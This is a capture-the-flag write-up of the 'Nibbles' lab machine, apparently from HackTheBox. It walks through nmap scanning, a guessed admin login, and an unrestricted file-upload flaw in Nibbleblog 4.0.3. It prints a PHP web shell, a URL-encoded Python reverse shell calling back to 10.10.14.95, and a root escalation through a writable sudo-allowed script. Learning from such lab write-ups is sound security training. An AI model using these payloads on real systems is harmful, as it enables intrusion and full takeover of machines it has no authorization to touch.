The Nibbles
machine is an easy linux box.
If you are italian you might want to check out the related video.
#Getting a Foothold
As always, before starting we spawn the machine, check its assigned IP address and add it to our /etc/hosts as follows
echo "10.129.66.223 nibbles" >> /etc/hosts
#Port Scanning
Doing basic scans with nmap
gives us the following situation
-
basic script + version scan:
nmap -sC -sV nibbles
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds -
full port scan:
nmap -p- nibbles
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds
As we can see from the scans, a web server seems to be listening
on port 80
.
#Web Server Enumeration
When going into http://nibbles
we are met with a page displaying
a simple "Hello World" text. By checking out the source code we
get the following
The comment seems to indicate to check out a particular directory
named nibbleblog/
. By going to the url http://nibbles/nibbleblog
we are met with the following screen
By checking out the web we see that nibbleblog is a blog engine written in php, whose source code can be acquired through various sources such as a github repo.
By looking at the code we see a file named admin.php
, by going
there we are welcome with a login page
To gain access the credentials are admin:nibbles
and are obtained
by simple guessing: admin is a typical username and nibbles is
the name of the machine.
Once inside we are able to check the version by going to the
following url
http://nibbles/nibbleblog/admin.php?controller=settings&action=general
using the dashboard.
As we can see, our verson of nibbleblog is 4.0.3
.
#Exploiting RCE on Nibbleblog
By doing a quick search for nibbleblog 4.0.3. CVEs we find the following useful resources
these resources present a RCE in nibbleblog 4.0.3 obtained by a
RFI in which the user is able to upload a .php
shell using the
plugin my image
, which is installed by default. The only
requirements are the admin credentials, which we already found.
To actually exploit this we will do the following
-
Write in a file called
shell.php
the following php code<?php echo system($_REQUEST['cmd']) ?>
-
Upload the file using the file upload offered by the
my image
plugin. If the plugin is not already activated you can go to the following url to activate and install ithttp://nibbles/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image
-
Access the uploaded shell at the following url and start executing our code.
http://nibbles/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami
These steps are shown here
#Spawning a reverse shell
Once we have obtained RCE to actually spawn a reverse shell we
can use the following url which spawns a reverse on ip
10.10.14.95
and port 4321
http://nibbles/nibbleblog/content/private/plugins/my_image/image.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.95%22,4321));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27%20&
#Privilege Escalation
#Getting user flag
Once inside we are nibbler
user and the user flag is as simple as
going to the home folder /home/nibbles
.
ls -lha /home/nibbler
total 20K
drwxr-xr-x 3 nibbler nibbler 4.0K Dec 29 2017 .
drwxr-xr-x 3 root root 4.0K Dec 10 2017 ..
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4.0K Dec 10 2017 .nano
-r-------- 1 nibbler nibbler 1.9K Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Dec 13 11:08 user.txt
#Getting root flag
To get the root flag instead we have to unzip the personal.zip
file to get
unzip /home/nibbler/personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
Finally, by checking out sudo -l
we see the following
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
As we can see, we can run the script monitor.sh
on the path
/home/nibbler/personal/stuff
as the root
user. Since we can also
overwrite the file, to get a root shell we simply need to write
any reverse shell on it, listen on a port, and execute the script
with
sudo -u root ./home/nibbler/personal/stuff/monitor.sh
this will get us our shell as root. Once we have that we can simply go to the root folder and get the flag.
hostname
Nibblesid
uid=0(root) gid=0(root) groups=0(root)ls -lha /root
total 28K drwx------ 4 root root 4.0K Dec 29 2017 . drwxr-xr-x 23 root root 4.0K Dec 28 2017 .. -rw------- 1 root root 0 Dec 29 2017 .bash_history -rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc drwx------ 2 root root 4.0K Dec 10 2017 .cache drwxr-xr-x 2 root root 4.0K Dec 10 2017 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -r-------- 1 root root 33 Dec 13 11:08 root.txt
#Final Remarks
This machine was pretty easy overall. The only interesting remark to mention is regarding the file upload that enabled us to obtain the RCE and thus to spawn the reverse shell on the target machine.
The actual vulnerability can be found by downloading the correct version of nibbleblog at the following url
The vulnerable code as reported in one of the previously linked
resources can be found in the file
admin/controllers/plugin/config.bit
and is the following php code
if( ($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['plugin']) )
{
$plugin = $plugins_all['PLUGIN_'.strtoupper($_POST['plugin'])]; // PLUGIN_MY_IMAGE
if( $plugin->init_db() )
{
// upload files
foreach($_FILES as $field_name=>$file)
{
// get file extension (.php)
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
// get destination dir (/content/private/plugins/my_image)
$destination = PATH_PLUGINS_DB.$plugin->get_dir_name();
// complete file name
$complete = $destination.'/'.$field_name.'.'.$extension;
// WARNING: no checks on the extension are made before uploading!
// Upload the new file and move
if(move_uploaded_file($file["tmp_name"], $complete))
{
// Resize images if requested by the plugin
if(isset($_POST[$field_name.'_resize']))
{
// ...
}
}
}
// ...
}
}
Notice in particular the move_uploaded_file(), which does not
perform any check regarding the extension supplied by the user and
which allowed us to upload the .php
shell.